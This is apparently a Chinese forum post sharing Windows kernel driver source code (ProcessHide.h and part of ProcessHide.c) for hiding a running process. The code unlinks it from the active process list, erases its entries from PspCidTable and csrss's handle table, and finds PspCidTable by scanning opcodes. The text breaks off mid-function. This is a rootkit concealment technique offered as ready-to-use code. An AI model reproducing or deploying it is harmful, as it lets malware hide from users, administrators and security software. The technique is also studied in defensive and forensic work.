隐藏进程
先从活动进程链表中摘除 擦除PspCidTable中对应的Object 再擦除Csrss进程中那份表
擦除HandleTable表用了一些技巧,不用亲自操作三层表,不是网上流传的方法,具体请看代码......
使用的时候直接HideProcessById(HIDE_PID)就行了
偶这只菜鸟的学习总结,牛们不要BS,我会超过你们的.很快
ProcessHide.h
代码:
#ifndef __PROCESSHIDE_H__
#define __PROCESSHIDE_H__
#ifdef __cplusplus
extern "C" {
#endif
#include <ntddk.h>
/*
使用之前请先调用InitializeCommonVariables初始化全局变量
*/
typedef struct _HANDLE_TABLE_ENTRY {
//
// The pointer to the object overloaded with three ob attributes bits in
// the lower order and the high bit to denote locked or unlocked entries
//
union {
PVOID Object;
ULONG ObAttributes;
};
//
// This field either contains the granted access mask for the handle or an
// ob variation that also stores the same information. Or in the case of
// a free entry the field stores the index for the next free entry in the
// free list. This is like a FAT chain, and is used instead of pointers
// to make table duplication easier, because the entries can just be
// copied without needing to modify pointers.
//
union {
union {
ACCESS_MASK GrantedAccess;
struct {
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
};
LONG NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
typedef struct _HANDLE_TABLE {
//
// A set of flags used to denote the state or attributes of this
// particular handle table
//
ULONG Flags;
//
// The number of handle table entries in use.
//
LONG HandleCount;
//
// A pointer to the top level handle table tree node.
//
PHANDLE_TABLE_ENTRY **Table;
//
// The process who is being charged quota for this handle table and a
// unique process id to use in our callbacks
//
struct _EPROCESS *QuotaProcess;
HANDLE UniqueProcessId;
//
// This is a singly linked list of free table entries. We dont actually
// use pointers, but have each store the index of the next free entry
// in the list. The list is managed as a lifo list. We also keep track
// of the next index that we have to allocate pool to hold.
//
LONG FirstFreeTableEntry;
LONG NextIndexNeedingPool;
//
// This is the lock used to protect the fields in the record, and the
// handle table tree in general. Individual handle table entries that are
// not free have their own lock
//
ERESOURCE HandleTableLock;
//
// The list of global handle tables. This field is protected by a global
// lock.
//
LIST_ENTRY HandleTableList;
//
// The following field is used to loosely synchronize thread contention
// on a handle. If a thread wants to wait for a handle to be unlocked
// it will wait on this event with a short timeout. Any handle unlock
// operation will pulse this event if there are threads waiting on it
//
KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN PVOID EnumParameter
);
typedef BOOLEAN (*__ExEnumHandleTable)(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPTIONAL
);
NTSTATUS
GetPspCidTable(
OUT PHANDLE_TABLE* ppPspCidTable
);
BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
);
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN HANDLE ProcessId
);
NTSTATUS
RemoveNodeFromActiveProcessLinks(
IN HANDLE ProcessId
);
NTSTATUS
HideProcessById(
IN HANDLE ProcessId
);
NTSTATUS
InitializeCommonVariables(
);
NTSTATUS
GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
);
NTSTATUS
LookupProcessByName(
IN PCHAR pcProcessName,
OUT PEPROCESS *Process
);
#ifdef __cplusplus
} // extern "C"
#endif
#endif // __PROCESSHIDE_H__
ProcessHide.c
代码:
#include "ProcessHide.h"
#include "LDasm.h"
ULONG g_Offset_Eprocess_Name = NULL;
ULONG g_Offset_Eprocess_Flink = NULL;
ULONG g_Offset_Eprocess_ProcessId = NULL;
ULONG g_Offset_Eprocess_HandleTable = NULL;
PEPROCESS g_pEprocess_System = NULL;
NTSTATUS
GetPspCidTable(
OUT PHANDLE_TABLE* ppPspCidTable
)
/*
通过搜索PsLookupProcessByProcessId函数,获取PspCidTable的地址
*/
{
NTSTATUS status;
PUCHAR cPtr;
unsigned char * pOpcode;
ULONG Length;
UNICODE_STRING uniPsLookup;
ULONG PsLookupProcessByProcessId;
status = STATUS_NOT_FOUND;
RtlInitUnicodeString(&uniPsLookup, L"PsLookupProcessByProcessId");
PsLookupProcessByProcessId = MmGetSystemRoutineAddress(&uniPsLookup); //MmGetSystemRoutineAddress可以通过函数名获得函数地址
for (cPtr = (PUCHAR)PsLookupProcessByProcessId;
cPtr < (PUCHAR)PsLookupProcessByProcessId + PAGE_SIZE;
cPtr += Length)
{
Length = SizeOfCode(cPtr, &pOpcode); //credit to LDasm.c by Ms-Rem
if (!Length) break;
if (*(PUSHORT)cPtr == 0x35FF && *(pOpcode + 6) == 0xE8)
{
*ppPspCidTable = **(PVOID **)(pOpcode + 2);
status = STATUS_SUCCESS;
break;
}
}
return status;
}
BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
)
{
if (ARGUMENT_PRESENT(EnumParameter) && *(HANDLE *)EnumParameter == Handle)
{
*(PHANDLE_TABLE_ENTRY *)EnumParameter = HandleTableEntry;
return TRUE;
}
return FALSE;
}
// 修改一下,可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN HANDLE ProcessId
)
{
NTSTATUS status;
PVOID EnumParameter;
UNICODE_STRING uniExEnumHandleTable;
__ExEnumHandleTable ExEnumHandleTable;
status = STATUS_NOT_FOUND;
EnumParameter = ProcessId;
RtlInitUnicodeString(&uniExEnumHandleTable, L"ExEnumHandleTable");
ExEnumHandleTable = MmGetSystemRoutineAddress(&uniExEnumHandleTable);
if (NULL == ExEnumHandleTable)
{
return STATUS_NOT_FOUND;
}
// Enum后可以擦除,Callback过程中不能擦除
if (ExEnumHandleTable(pHandleTable, EnumHandleCallback, &EnumParameter, NULL))
{
InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object, NULL);
status = STATUS_SUCCESS;
}
return status;
}
NTSTATUS
RemoveNodeFromActiveProcessLinks(
IN HANDLE ProcessId
)
{
NTSTATUS status;
PLIST_ENTRY pListEntry;
PEPROCESS pEprocess;
status = PsLookupProcessByProcessId(ProcessId, &pEprocess);
if (!NT_SUCCESS(status))
{
return status;
}
ObDereferenceObject(pEprocess);
pListEntry = (ULONG)pEprocess + g_Offset_Eprocess_Flink;
// 从链表中摘除
pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink->Blink = pListEntry->Blink;
return status;
}
NTSTATUS
HideProcessById(
IN HANDLE ProcessId
)
{
NTSTATUS status;
PHANDLE_TABLE pPspCidTable;
PEPROCESS pCsrssEprocess = NULL;
if (NULL == g_Offset_Eprocess_HandleTable)
{
status = InitializeCommonVariables();
if (!NT_SUCCESS(status))
{
return status;
}
}
status = GetPspCidTable(&pPspCidTable);
if (!NT_SUCCESS(status))
{
return status;
}
status = LookupProcessByName("CSRSS.EXE", &pCsrssEprocess);
if (!NT_SUCCESS(status))
{补充:综合编程 , 安全编程 ,